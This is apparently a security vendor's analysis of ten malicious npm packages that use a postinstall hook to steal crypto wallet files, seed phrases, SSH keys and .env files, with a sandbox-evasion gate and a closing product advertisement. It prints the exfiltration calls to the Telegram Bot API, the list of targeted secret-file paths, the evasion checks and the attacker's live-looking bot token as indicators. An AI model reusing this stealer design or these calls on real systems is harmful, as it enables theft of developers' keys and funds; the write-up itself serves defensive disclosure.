SeedSweep: Ten Malicious npm Crypto Packages

SeedSweep: Ten Crypto-Themed npm Packages That Only Run When No One Is Watching

TL;DR

On 9 June 2026 a single npm publisher account, aicrypto-xzggg, shipped ten packages with crypto- and Web3-flavored names — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, and six more.

Every package runs the same payload from a postinstall hook. On install, it checks whether it is running inside CI or a sandbox — if not, it reads wallet keystores, seed-phrase files, SSH keys, and .env files from across six blockchain ecosystems and transmits them to a Telegram bot.

The single indicator a defender can hunt for immediately is the Telegram bot id 8227918239.

Severity: critical — direct theft of signing keys and recovery phrases from developer workstations.

The Attack: How It Works

The packages advertise themselves as blockchain developer utilities. The package.json is minimal and points the install lifecycle at a script:

{
  "name": "farming-tools-12",
  "main": "src/index.js",
  "scripts": { "postinstall": "node scripts/postinstall.js" },
  "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
  "author": "Alex Smith",
  "license": "MIT"
}

scripts/postinstall.js is a one-line shim that loads the real payload: require(“../src/index.js”). Because postinstall runs automatically during npm install, no code import by the developer is required — placing the package in a dependency tree is enough to execute it.

The kill chain inside src/index.js is four steps:

  1. Environment check. A guard function decides whether the host looks like a build agent or analysis sandbox.
  2. Delay. Execution is deferred behind a setTimeout of roughly 7.4 seconds.
  3. Collection. A fixed list of wallet, key, and secret file paths is walked; existing files are queued.
  4. Exfiltration. Queued files are sent to a Telegram bot, preceded by a summary message.

The collection target list spans six chains plus generic developer secrets. Trimmed:

~/.config/solana/id.json        ~/.ethereum/keystore
~/.solana/keypair.json          ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt
./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Twenty-one paths in total. Directory entries such as ~/.ethereum/keystore are expanded and every file inside is queued. The exfiltration uses the Telegram Bot API directly — a sendMessage call with a host and file summary, then a sendDocument multipart upload for each file:

text

POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

The summary message the code assembles begins with the literal string CRYPTO STEALER, followed by the hostname, username, originating package name, file count, and timestamp.

What’s new here

The differentiator is not the theft mechanism — Telegram-based exfil from npm postinstall hooks is well-trodden. It is the execution gate. Before doing anything, the payload calls a function that returns true when the host resembles a CI runner or sandbox, and returns early when it does:

text

isTestEnvironment() is true when ANY of:
  - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set
  - env NODE_ENV in {test, development}
  - username/USER contains: runner, sandbox, test, docker,
    jenkins, gitlab, travis, circleci
  - hostname contains: sandbox, test, ci
  - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

The container-id regex is the notable clause: a 12-hex-character hostname is the default shape Docker assigns to a container, so the payload treats “my hostname looks like a Docker container” as a reason to stay dormant. Combined with the seven-second delay, the design favors running on a developer’s real workstation and staying quiet anywhere that looks like automated analysis. That gate is what suppressed dynamic-analysis signals and kept the static exfil flow as the primary conviction evidence.

Timeline

Date (UTC) Event
2026-06-09 ~02:48 First packages in the cluster flagged on publication (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 Higher-versioned members flagged (ethereum-kit-9 at 1.25.36, wallet-sdk-9 at 3.7.73)
2026-06-09 ~03:58–03:59 Final members flagged (defi-tools-39 at 4.26.29, swap-sdk-87 at 4.63.78, farming-tools-12 at 4.68.54)
2026-06-09 All ten classified malicious and reported for registry removal

All ten surfaced inside roughly seventy minutes, consistent with a single scripted publishing run from one account.

Indicators of Compromise

Network and behavioral indicators (host defanged):

Indicator Value
Exfil endpoint api[.]telegram[.]org (Telegram Bot API)
Telegram bot id 8227918239
Bot token 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
Telegram chat id 6433587894
Install hook postinstallscripts/postinstall.jssrc/index.js
Marker string CRYPTO STEALER in the assembled summary message
Publisher aicrypto-xzggg (stated email vipsyria88@gmail[.]com, unverified)

Packages and versions, each with the SHA-256 of its src/index.js payload (the payloads are functionally identical and differ only in the embedded package-name label, so each hash is distinct):

html
Package Version SHA-256 of src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

A simple hunting query: search install logs and lockfiles for any of the ten names, and search outbound traffic for connections to the Telegram Bot API from build or developer hosts that do not otherwise use it.

Attribution & Observed Behavior

All ten packages were published by one account, aicrypto-xzggg, whose stated email is vipsyria88@gmail[.]com. Both the email and the source-control link are unverified in the registry metadata, and the account carries a strongly negative reputation score. We have not confirmed who operates the account.

Two details are worth separating from any identity claim. First, the package.json author field reads Alex Smith on every package, while the actual publishing account is aicrypto-xzggg; the author field is self-declared metadata and does not establish authorship. Second, the version numbers vary widely — some members sit at 1.0.0, others at 4.68.54 — which is consistent with reusing a single payload across freshly minted package names rather than maintaining real release histories.

The behavior is uniform across the cluster: the same target path list, the same Telegram bot id and chat id, the same environment gate, the same CRYPTO STEALER marker. That uniformity is the strongest link between the packages. It is a same-operator signal, not an identity.

The exposure is concrete. A developer who installs any of these packages on a workstation that holds a software wallet, a seed-phrase file, or an SSH key has those files read and transmitted off the host within seconds. Recovery phrases and signing keys do not expire the way a session token does; once a mnemonic.txt or a Solana id.json leaves the machine, the funds it controls are at risk until they are moved. The same run also captures .env files, which routinely carry API keys and database credentials.

Two trends sit behind this cluster. The first is the continued use of crypto- and Web3-themed names to court a specific audience — developers who keep wallets and keys on the same machine they install dependencies on. The second is the maturing of sandbox evasion in install-time payloads. A gate that checks for CI environment variables, runner usernames, and a Docker container-id hostname shape is a deliberate effort to behave differently under analysis than on a real workstation, and it raises the bar for purely dynamic detection.

For defenders:

Install with scripts disabled by default. npm install –ignore-scripts, or set ignore-scripts=true in .npmrc, prevents postinstall execution; enable scripts only for the specific dependencies that genuinely need them.

Keep wallets and signing keys off build and development machines. Use a hardware wallet or a dedicated, dependency-free signing host.

Treat .env, keystores, and seed-phrase files as crown jewels. They should never sit in a directory that is also an npm install working tree.

Hunt for outbound connections to the Telegram Bot API from CI and developer hosts. Most build environments never call it; one that suddenly does, right after an install, is worth investigating.

Pin and review dependencies. A brand-new package with a generic crypto name, a postinstall hook, and no repository link warrants a look before it enters a lockfile.

The container-id evasion clause is also a reminder for analysts: an install-time payload that stays dormant in a sandbox is not benign, it is selective. Static review of the install path remains the reliable way to see what dynamic execution may decline to show.

References

npm install documentation — lifecycle scripts and –ignore-scripts— reference for disabling automatic install hooks. 

sca-tools-software-composition-analysis-tools
Prioritize, remediate, and secure your software risks
7-day free trial
No credit card required

Secure your Software Development and Delivery

with Xygeni Product Suite